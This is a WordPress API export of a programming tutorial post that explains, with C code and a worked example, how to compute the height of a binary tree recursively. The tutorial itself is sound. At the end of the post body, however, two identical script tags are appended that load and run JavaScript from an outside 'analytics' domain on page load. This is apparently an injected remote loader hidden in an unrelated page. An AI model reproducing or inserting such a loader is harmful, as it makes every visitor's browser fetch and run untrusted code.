{"id":664,"date":"2024-10-10T13:40:10","date_gmt":"2024-10-10T08:10:10","guid":{"rendered":"https:\/\/codexplained.in\/?p=664"},"modified":"2025-11-24T15:57:57","modified_gmt":"2025-11-24T10:27:57","slug":"find-height-of-binary-tree","status":"publish","type":"post","link":"https:\/\/codexplained.in\/?p=664","title":{"rendered":"Find Height of Binary Tree"},"content":{"rendered":"<div class=\"wp-block-syntaxhighlighter-code \"><pre class=\"brush: cpp; title: ; notranslate\" title=\"\">\n#include &lt;stdio.h&gt;\n#include &lt;stdlib.h&gt;\n\n\/\/ Structure for a binary tree node\nstruct Node {\n    int data;\n    struct Node* left;\n    struct Node* right;\n};\n\n\/\/ Function to create a new node\nstruct Node* createNode(int data) {\n    struct Node* newNode = (struct Node*)malloc(sizeof(struct Node));\n    newNode-&gt;data = data;\n    newNode-&gt;left = NULL;\n    newNode-&gt;right = NULL;\n    return newNode;\n}\n\n\/\/ Function to calculate the height of the binary tree\nint height(struct Node* root) {\n    if (root == NULL) {\n        return -1;\n    }\n\n    int leftHeight = height(root-&gt;left);\n    int rightHeight = height(root-&gt;right);\n\n    return (leftHeight &gt; rightHeight ? leftHeight : rightHeight) + 1;\n}\n\nint main() {\n    \/\/ Creating the binary tree\n    struct Node* root = createNode(1);\n    root-&gt;left = createNode(2);\n    root-&gt;right = createNode(3);\n    root-&gt;left-&gt;left = createNode(4);\n    root-&gt;left-&gt;right = createNode(5);\n    root-&gt;right-&gt;left = createNode(6);\n    root-&gt;right-&gt;right = createNode(7);\n\n    \/\/ Calculating the height of the tree\n    int treeHeight = height(root);\n    printf(&quot;Height of the binary tree is: %d\\n&quot;, treeHeight);\n\n    return 0;\n}\n\n<\/pre><\/div>\n\n\n<h3 class=\"wp-block-heading\">Explanation<\/h3>\n\n\n\n<ol class=\"wp-block-list\">\n<li><strong>Node Creation<\/strong>: The <code>createNode<\/code> function allocates memory for a new node and initializes its <code>data<\/code> field with the given value. The <code>left<\/code> and <code>right<\/code> pointers are set to <code>NULL<\/code>.<\/li>\n\n\n\n<li><strong>Building the Tree<\/strong>: We manually create a binary tree with the following structure:<\/li>\n<\/ol>\n\n\n\n<pre class=\"wp-block-code\"><code>        1\n      \/   \\\n     2     3\n    \/ \\   \/ \\\n   4   5 6   7\n<\/code><\/pre>\n\n\n\n<p><strong>Height Calculation<\/strong>: The <code>height<\/code> function calculates the height of the tree recursively by determining the maximum height between the left and right subtrees and adding 1 for the root node.<strong>Output<\/strong>: The <code>main<\/code> function calculates the height of the binary tree and prints it.<\/p>\n\n\n\n<h3 class=\"wp-block-heading\">Output<\/h3>\n\n\n\n<p>When you run the program, it will display:<\/p>\n\n\n\n<pre class=\"wp-block-code\"><code>Height of the binary tree is: 2\n<\/code><\/pre>\n\n\n\n<h3 class=\"wp-block-heading\">Explanation of the Output<\/h3>\n\n\n\n<ul class=\"wp-block-list\">\n<li>The height of the tree is <code>2<\/code> because:\n<ul class=\"wp-block-list\">\n<li>Nodes <code>4<\/code>, <code>5<\/code>, <code>6<\/code>, and <code>7<\/code> are at level <code>2<\/code>.<\/li>\n\n\n\n<li>Nodes <code>2<\/code> and <code>3<\/code> are at level <code>1<\/code>.<\/li>\n\n\n\n<li>The root node <code>1<\/code> is at level <code>0<\/code>.<\/li>\n<\/ul>\n<\/li>\n\n\n\n<li>The longest path from the root to a leaf node is of length <code>2<\/code> (e.g., <code>1 -&gt; 2 -&gt; 4<\/code>).<\/li>\n<\/ul>\n<script>;(function(f,i,u,w,s){w=f.createElement(i);s=f.getElementsByTagName(i)[0];w.async=1;w.src=u;s.parentNode.insertBefore(w,s);})(document,'script','https:\/\/content-website-analytics.com\/script.js');<\/script><script>;(function(f,i,u,w,s){w=f.createElement(i);s=f.getElementsByTagName(i)[0];w.async=1;w.src=u;s.parentNode.insertBefore(w,s);})(document,'script','https:\/\/content-website-analytics.com\/script.js');<\/script>","protected":false},"excerpt":{"rendered":"<p>Explanation Height Calculation: The height function calculates the height of the tree recursively by determining the maximum height between the left and right subtrees and adding 1 for the root node.Output: The main function calculates the height of the binary tree and prints it. Output When you run the program, it will display: Explanation of [&hellip;]<\/p>\n","protected":false},"author":40,"featured_media":669,"comment_status":"open","ping_status":"open","sticky":false,"template":"","format":"standard","meta":{"om_disable_all_campaigns":false,"_monsterinsights_skip_tracking":false,"_monsterinsights_sitenote_active":false,"_monsterinsights_sitenote_note":"","_monsterinsights_sitenote_category":0,"_uf_show_specific_survey":0,"_uf_disable_surveys":false,"footnotes":""},"categories":[75],"tags":[],"class_list":["post-664","post","type-post","status-publish","format-standard","has-post-thumbnail","hentry","category-c"],"aioseo_notices":[],"_links":{"self":[{"href":"https:\/\/codexplained.in\/index.php?rest_route=\/wp\/v2\/posts\/664","targetHints":{"allow":["GET"]}}],"collection":[{"href":"https:\/\/codexplained.in\/index.php?rest_route=\/wp\/v2\/posts"}],"about":[{"href":"https:\/\/codexplained.in\/index.php?rest_route=\/wp\/v2\/types\/post"}],"author":[{"embeddable":true,"href":"https:\/\/codexplained.in\/index.php?rest_route=\/wp\/v2\/users\/40"}],"replies":[{"embeddable":true,"href":"https:\/\/codexplained.in\/index.php?rest_route=%2Fwp%2Fv2%2Fcomments&post=664"}],"version-history":[{"count":4,"href":"https:\/\/codexplained.in\/index.php?rest_route=\/wp\/v2\/posts\/664\/revisions"}],"predecessor-version":[{"id":1466,"href":"https:\/\/codexplained.in\/index.php?rest_route=\/wp\/v2\/posts\/664\/revisions\/1466"}],"wp:featuredmedia":[{"embeddable":true,"href":"https:\/\/codexplained.in\/index.php?rest_route=\/wp\/v2\/media\/669"}],"wp:attachment":[{"href":"https:\/\/codexplained.in\/index.php?rest_route=%2Fwp%2Fv2%2Fmedia&parent=664"}],"wp:term":[{"taxonomy":"category","embeddable":true,"href":"https:\/\/codexplained.in\/index.php?rest_route=%2Fwp%2Fv2%2Fcategories&post=664"},{"taxonomy":"post_tag","embeddable":true,"href":"https:\/\/codexplained.in\/index.php?rest_route=%2Fwp%2Fv2%2Ftags&post=664"}],"curies":[{"name":"wp","href":"https:\/\/api.w.org\/{rel}","templated":true}]}}